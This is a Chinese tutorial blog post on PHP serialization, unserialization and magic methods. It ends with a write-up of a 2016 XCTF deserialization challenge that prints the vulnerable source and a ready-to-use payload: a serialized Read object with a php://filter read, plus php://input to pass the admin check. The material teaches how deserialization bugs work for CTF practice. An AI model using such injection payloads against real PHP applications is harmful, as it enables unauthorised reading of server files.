php反序列化ctf,代码审计| CTF 中的反序列化问题

0x00 序列化和反序列化

简单的理解:序列化就是使用serialize()将对象的用字符串的方式进行表示,反序列化是使用unserialize()将序列化的字符串,构造成相应的对象,反序列化是序列化的逆过程。

序列化的对象可以是class也可以是Array,string等其他对象。

0x01 对象序列化和反序列化的功能作用

1. 对象序列化的功能作用

概念:对象是在内存中存储的数据类型,寿命通常随着生成该对象的程序的终止而终止,但是有些情况下需要将对象的状态保存下来,然后在需要使用的时候将对象恢复,对象状态的保存操作就是对象序列化的过程。对象序列化就是将对象转化为2进制字符串进行保存。

作用:将对象的状态通过数值和字符记录下来,以某种存储形式使自定义对象持久化,方便需要时候将对象进行恢复使用,用于对象的传递以及使程序代码更具维护性

语法:在创建对象class后使用serialize()函数将声明的对象的某个状态转化为字符串然后进行保存或传递。

示例代码:

class serialize code:1.<?php

2./**

3.* Created by PhpStorm.

4.* User: Thinking

5.* Date: 2017/10/18

6.* Time: 11:25

7.*/

8.class Person{

9.private $name = 'Thinking';

10.private $sex = 'man';

11.

12.function say($name,$sex){

13.echo 'My name is'.$name.'I am a '.$sex;

14.}

15.

16.}

17.$Person = new Person;

18.echo serialize($Person);

19.$saveData = serialize($Person);//序列化后的字符串,可以保存在数据库中或者文本文件中等。

20.echo "\n".'save data is: '.$saveData;

21.?>

output:

O:6:"Person":2:{s:12:" Person name";s:8:"Thinking";s:11:" Person sex";s:3:"man";}

save data is: O:6:"Person":2:{s:12:" Person name";s:8:"Thinking";s:11:" Person sex";s:3:"man";}

________________________________________array serialize code:

1.<?php

2./**

3.* Created by PhpStorm.

4.* User: Thinking

5.* Date: 2017/10/18

6.* Time: 11:25

7.*/

8.$Person = array('name' => 'Thinking' ,'sex' => 'man');

9.echo serialize($Person);

10.$saveData = serialize($Person);//序列化后的字符串,可以保存在数据库中或者文本文件中等。

11.echo "\n".'save data is: '.$saveData;

12.?>

output:

a:2:{s:4:"name";s:8:"Thinking";s:3:"sex";s:3:"man";}

save data is: a:2:{s:4:"name";s:8:"Thinking";s:3:"sex";s:3:"man";}

序列化后对象的格式:

引用上述示例代码中的输出结果

output:

O:6:"Person":2:{s:12:" Person name";s:8:"Thinking";s:11:" Person sex";s:3:"man";}

a:2:{s:4:"name";s:8:"Thinking";s:3:"sex";s:3:"man";}

对象类型:对象名长度:“对象名”:对象成员变量个数:{变量1类型:变量名1长度:变量名1; 参数1类型:参数1长度:参数1; 变量2类型:变量名2长度:“变量名2”; 参数2类型:参数2长度:参数2;… …}

对象类型:Class:用O表示,Array:用a表示。

变量和参数类型:string:用s表示,Int:用i表示,Array:用a表示。

序列符号:参数与变量之间用分号(;)隔开,同一变量和同一参数之间的数据用冒号(:)隔开。

2. 对象反序列化的功能作用

概念:将存储好的或者进行传递的序列化后的字符串转化为对象,然后在用于对象的操作,是序列化的逆过程

作用:把序列化后的字符串转化为对象,恢复原本对象后用于程序或代码的各种操作。

语法:使用unserialize()将序列化后的字符串转化为对象进行使用。

示例代码:

unserialize code:1.<?php

2./**

3.* Created by PhpStorm.

4.* User: Thinking

5.* Date: 2017/10/18

6.* Time: 11:25

7.*/

8.$saveData = 'O:6:"Person":2:{s:12:" Person name";s:8:"Thinking";s:11:" Person sex";s:3:"man";}';

9.var_dump(unserialize($saveData));

10.?>

output:1.class __PHP_Incomplete_Class#1 (3) {

2.public $__PHP_Incomplete_Class_Name =>

3.string(6) "Person"

4.public $ Person name =>

5.string(8) "Thinking"

6.public $ Person sex =>

7.string(3) "man"

8.}

9.

0x02 反序列化存在的问题

问题原因:漏洞的根源在于unserialize()函数的参数可控。如果反序列化对象中存在魔术方法,而且魔术方法中的代码或变量用户可控,就可能产生反序列化漏洞,根据反序列化后不同的代码可以导致各种攻击,如代码注入、SQL注入、目录遍历等等。

魔术方法:PHP的类中可能会包含一些特殊的函数叫魔术函数,魔术函数命名是以符号__开头的;

有以下的魔术方法:

__construct(), __destruct(), __call(), __callStatic(), __get(), __set(), __isset(), __unset(), __sleep(), __wakeup(), __toString(), __invoke(), __set(), _state(), __clone(), __debugInfo() ...

反序列化漏洞中常见到有一些魔术方法:

__construct():在对象创建时自动被调用; __destruct():在脚本运行结束时自动被调用;__sleep():在对象序列化的时候自动被调用;__wakeup():在反序列化为对象时自动被调用;__toString(): 直接输出对象引用时自动被调用;

0x03 魔术方法的触发

构造方法 __construct()

构造方法是类中的一个特殊方法。当使用 new 操作符创建一个类的实例时,构造方法将会自动调用,其名称必须是 __construct()。在一个类中只能声明一个构造方法,而是只有在每次创建对象的时候都会去调用一次构造方法,不能主动的调用这个方法,所以通常用它执行一些有用的初始化任务。该方法无返回值。

语法:

function __construct(arg1,arg2,…)

{

……

}

[example]:__construct()code:1.<?php

2./**

3.* Created by PhpStorm.

4.* User: Thinking

5.* Date: 2017/10/18

6.* Time: 11:25

7.*/

8.class Person{

9.private $name = 'Thinking';

10.private $sex = 'man';

11.

12.function say($name,$sex){

13.echo 'My name is'.$name.'I am a '.$sex;

14.}

15.function __construct(){

16.echo ' __construct is work';

17.}

18.}

19.$Person = new Person;//创建的时候触发魔术方法

20.?>

output:

__construct is work

________________________________________

析构方法__destruct()允许在销毁一个类之前执行执行析构方法,与构造方法对应的就是析构方法,析构方法允许在销毁一个类之前执行的一些操作或完成一些功能,比如说关闭文件、释放结果集,程序运行结束等。析构函数不能带有任何参数,其名称必须是__destruct()。

语法:

function __destruct()

{

……

}

[example]:__destructcode:1.<?php

2./**

3.* Created by PhpStorm.

4.* User: Thinking

5.* Date: 2017/10/18

6.* Time: 11:25

7.*/

8.class Person{

9.    private $name = 'Thinking';

10.    private $sex = 'man';

11.

12.    function __destruct(){

13.        echo '__destruct is work'. "\n";

14.    }

15.

16.}

17.

18.$Person = new Person;

19.sleep(5);//代码程序运行结束后或被释放时候触发

20.?>

output:

先延迟5s,等待代码执行结束 ,再打印 __destruct is work

________________________________________

__sleep()方法是在一个类的实例被序列化了的时候调用,_wakeup()是在反序列化时被调用。__sleep()必须返回一个数组或者对象,而一般返回的是当前对象$this。返回的值将会被用来做序列化的值。如果不返回这个值,自然表示序列化失败。同时也会连累到反序列化时不会调用__wakeup()方法.

[example]:__sleep()``__wakeup()code:1.<?php

2./**

3.* Created by PhpStorm.

4.* User: Thinking

5.* Date: 2017/10/18

6.* Time: 11:25

7.*/

8.class Person{

9.    function __sleep(){

10.        echo '__sleep is work'. "\n";

11.        return $this;

12.    }

13.

14.    function __wakeup(){

15.

16.        echo '__wakeup is work';

17.

18.    }

19.}

20.

21.$Person = new Person;

22.$saveData  = serialize($Person);//序列化时候触发__sleep()

23.unserialize($saveData);//反序列化时候触发__wakeup()

24.?>

output:

__sleep is work __wakeup is work

________________________________________

如果我们想打印出一个对象,就需要调用__toString()这个魔术方法了,该方法会在直接输出对象引用时自动被调用,此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR级别的致命错误

[example]:__toString()code:1.<?php

2./**

3. * Created by PhpStorm.

4. * User: Thinking

5. * Date: 2017/10/18

6. * Time: 11:25

7. */

8.class Person{

9.    private $name = 'Thinking';

10.    private $sex = 'man';

11.

12.    function say($name,$sex){

13.        echo 'My name is'.$name.'I am a '.$sex;

14.    }

15.    function __toString(){

16.        return '__toString is work';

17.    }

18.}

19.$Person = new Person;

20.echo $Person; //输出对象的时候被调用

21.?>

output:

__toString is work

其他方法的介绍参考:

________________________________________

0x04 一道CTF中反序列化例题

2016xctf的反序列化题目

index.php的源码:1.<?php

2.$user = $_GET["user"];

3.$file = $_GET["file"];

4.$pass = $_GET["pass"];

5.

6.if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){

7.    echo "hello admin!
";

8.    if(preg_match("/f1a9/",$file)){

9.        exit();

10.    }else{

11.        include($file); //class.php

12.        $pass = unserialize($pass);

13.        echo $pass;

14.    }

15.}else{

16.    echo "you are not admin ! ";

17.}

18.

19.?>

20.

21.

class.php的源码:1.<?php

2.class Read{//f1a9.php

3.    public $file;

4.    public function __toString(){

5.        if(isset($this->file)){

6.            echo file_get_contents($this->file);

7.        }

8.        return "__toString was called!";

9.    }

10.}

11.?>

源码分析:

首先index.php源码中的第6行使用file_get_contents读取user参数的值,然后在源码的第6,11行存在文件包含,第12行

unserialize($pass)反序列化函数的参数可控,在第13行执行了echo $pass;

在class.php源码中使用了__toString()魔术方法,然后return "__toString was called!";,所以根据本篇的上半部分介绍此处满足__toString()魔术方法触发条件,所以存在反序列化漏洞,其中第6行file_get_contents是用来读取$file变量的文件的,并且给出了提示,//f1a9.php;

所以本题的考点就是利用文件包含使用php://input的封装协议传入user参数的值,满足index.php源码中的第6行的条件,在pass参数中传入序列化后要读取的flag文件。

最终PAYLOAD:

首先构造序列化的字符串O:4:"Read":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=f1a9.php";}然后进行如下请求。

GET DATA:?user=php://input&file=class.php&pass=O:4:”Read”:1:{s:4:”file”;s:57:”php://filter/read=convert.base64-encode/resource=f1a9.php”;}

POST DATA:the user is admin

先进行上面的请求,然后得到经过base64编码过的f1a9.php源码。

ff4fe24e74ed3816bd257d5eee926509.png

使用hackbar上的base64解码插件进行解码,得到flag,本地复现flag与原题不一样。

e83096c02af2855081dfdc209f8a8a95.png

0x05 小总结

本篇仅进行了部分魔术方法的总结,还有一些魔术方法后续将逐步补充,例题仅收集了1道,小伙伴们有其他例题也可提出,小编将在后续篇章继续总结。从ctf题目中体会反序列化漏洞的形成原因和利用方法是个不错的方式,期待大家的多多交流。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值